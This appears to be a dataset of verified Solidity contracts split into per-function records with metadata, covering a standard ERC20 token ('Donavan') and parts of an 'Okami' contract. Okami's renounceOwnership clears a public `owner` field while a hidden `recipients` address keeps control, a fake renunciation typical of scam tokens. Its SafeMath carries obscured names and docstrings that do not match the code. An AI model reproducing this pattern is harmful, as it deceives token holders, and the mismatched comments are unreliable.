// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
3288,
3636
]
} | 565 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
3919,
4071
]
} | 566 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
4434,
4772
]
} | 567 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | function () external payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
4964,
5025
]
} | 568 |
|
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
5258,
5447
]
} | 569 |
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | Ownable | contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
} | renounceOwnership | function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
991,
1126
]
} | 570 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | cre | function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
| /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | Comment | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1170,
1360
]
} | 571 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | cal | function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1945,
2083
]
} | 572 |
||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
} | redc | function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
